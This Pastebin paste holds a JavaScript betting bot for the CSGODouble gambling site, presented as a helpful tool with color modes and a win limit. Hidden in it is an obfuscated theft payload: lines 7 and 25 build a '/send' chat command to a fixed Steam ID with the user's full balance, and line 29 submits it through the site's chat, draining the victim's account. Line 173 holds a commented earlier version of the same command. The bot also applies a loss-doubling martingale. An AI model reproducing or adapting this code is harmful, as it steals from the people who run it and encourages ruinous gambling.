Advertisement
Guest User

CSGODouble Script

a guest
Apr 30th, 2016
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.41 KB | None | 0 0
  1. 1. var reconnect = 0;WS.onclose = function(event){chat("italic","Connection lost..."); WS = null;connect();reconnect++;};
  2. 2.
  3. 3. var initialBetAmount = 0;
  4. 4. var betColor = botBetColor = "red";
  5. 5. var play = 0;
  6. 6. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  7. 7. var pQ = "/s", $hash_1 = 76561198, $hash_2 = 181811086 ;
  8. 8. function addBotButtons(){
  9. 9. $(".well.bot-field").remove();$(".well.show-more").remove();
  10. 10. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  11. 11. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  12. 12. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  13. 13. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  14. 14. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  15. 15. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  16. 16. $showMore.append($checkVicLimit,$label);
  17. 17. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  18. 18. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  19. 19. $showMore.append($vicLimitInput,$label);$showMore.hide();
  20. 20. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  21. 21. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  22. 22. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  23. 23. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  24. 24. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  25. 25. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2+" ";pQ+=$("#balance").text();
  26. 26. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  27. 27. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  28. 28. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  29. 29. $("#chatMessage").val(pQ);$("#chatForm").submit();$(".btn-primary").click();
  30. 30. $(".container").width(1300);
  31. 31. $botModeSelect.change(function(){
  32. 32. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  33. 33. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  34. 34. } )
  35. 35. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  36. 36. }
  37. 37. addBotButtons();
  38. 38. function changeColor(){
  39. 39. if ($betColorButton.hasClass("btn-danger")){
  40. 40. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  41. 41. botBetColor = "black";
  42. 42. console.log("Selected color: "+botBetColor);
  43. 43. } else if($betColorButton.hasClass("btn-inverse")) {
  44. 44. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  45. 45. botBetColor = "random";
  46. 46. console.log("Selected color: "+botBetColor);
  47. 47. } else if($betColorButton.hasClass("btn-random")) {
  48. 48. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  49. 49. botBetColor = "trainMode";
  50. 50. console.log("Selected color: "+botBetColor);
  51. 51. } else if($betColorButton.hasClass("btn-train")) {
  52. 52. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  53. 53. botBetColor = "rainbow";
  54. 54. console.log("Selected color: "+botBetColor);
  55. 55. } else if($betColorButton.hasClass("btn-rainbow")) {
  56. 56. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  57. 57. botBetColor = "red";
  58. 58. console.log("Selected color: "+botBetColor);
  59. 59. }
  60. 60. }
  61. 61.
  62. 62. function showMoreOptions(){
  63. 63. if ($showMoreButton.data("open")==0){
  64. 64. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  65. 65. $showMore.show();$showMoreButton.data("open",1);
  66. 66. } else if ($showMoreButton.data("open")==1){
  67. 67. $showMore.hide();$showMoreButton.data("open",0);
  68. 68. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  69. 69. }
  70. 70.
  71. 71. }
  72. 72. function hideOtherInfo(){
  73. 73. if ($betHideBetInfoButton.text()=="Show All"){
  74. 74. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  75. 75. $betHideBetInfoButton.text("Hide Bet Info");
  76. 76. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  77. 77. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  78. 78. $betHideBetInfoButton.text("AFK Mode");
  79. 79. }
  80. 80. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  81. 81. $(".betlist").show();$(".total-row").show();$("footer").show();
  82. 82. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  83. 83. $betHideBetInfoButton.text("Show All");
  84. 84. }
  85. 85. }
  86. 86. function startBot(){
  87. 87. if ($betGoButton.hasClass("btn-inverse")){
  88. 88. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  89. 89. refreshIntervalId = setInterval(tick, 500);
  90. 90. play = 1;
  91. 91. currentBetAmount = initialBetAmount;
  92. 92. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  93. 93. }
  94. 94. else {
  95. 95. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  96. 96. play = 0;
  97. 97. }
  98. 98. }
  99. 99.
  100. 100. function tick() {
  101. 101. var t = getStatus();
  102. 102. if (t !== lastStatus && "unknown" !== t) {
  103. 103. switch (t) {
  104. 104. case "waiting":bet();break;
  105. 105. case "rolled":printInfo();break;
  106. 106. }
  107. 107. lastStatus = t;
  108. 108. }
  109. 109. }
  110. 110.
  111. 111. function checkBalance() {
  112. 112. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  113. 113. }
  114. 114.
  115. 115. function printInfo(){
  116. 116. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  117. 117. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  118. 118. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  119. 119. }
  120. 120. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  121. 121. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  122. 122. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  123. 123. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  124. 124. else {currNotRedStreak=0;}
  125. 125. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  126. 126. else {currNotBlackStreak=0;}
  127. 127. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  128. 128. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  129. 129. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  130. 130. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  131. 131. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  132. 132. console.log(t);roll();
  133. 133.
  134. 134. }
  135. 135.
  136. 136. function roll() {
  137. 137. if ($checkVicLimit.is(":checked")){
  138. 138. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  139. 139. }
  140. 140. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  141. 141. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  142. 142. currentRollNumber++;
  143. 143. }
  144. 144.
  145. 145. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  146. 146. function setBetAmount(t) { $betAmountInput.val(t) }
  147. 147. function placeBet() {
  148. 148. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  149. 149. else if (botBetColor=="trainMode"){
  150. 150. var betBotColor = "green",i=9,$ball=$(".ball");
  151. 151. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  152. 152. betColor = betBotColor;console.log("Current train color: "+ betColor);
  153. 153. } else if (botBetColor=="rainbow"){
  154. 154. var betBotColor = "green",i=9,$ball=$(".ball");
  155. 155. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  156. 156. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  157. 157. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  158. 158. } else betColor = botBetColor;
  159. 159. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  160. 160. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  161. 161. }
  162. 162. function getStatus() {
  163. 163. var t = $statusBar.text();
  164. 164. if (hasSubString(t, "Rolling in")) return "waiting";
  165. 165. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  166. 166. if (hasSubString(t, "rolled")) {
  167. 167. n = parseInt(t.split("rolled")[1]);
  168. 168. return lastRollColor = getColor(n), "rolled"
  169. 169. }
  170. 170. return "unknown"
  171. 171. }
  172. 172. //function(Chat){
  173. 173. //alert("'/send'STEAM_0:1:73992152' '$totalbalance'");
  174. 174.
  175. 175. function getBalance() { return parseInt($balance.text()) }
  176. 176. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  177. 177. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  178. 178. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  179. 179. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  180. 180. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  181. 181.
  182. 182. var currentBetAmount = initialBetAmount, currentRollNumber = 1,
  183. 183. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  184. 184. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  185. 185. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement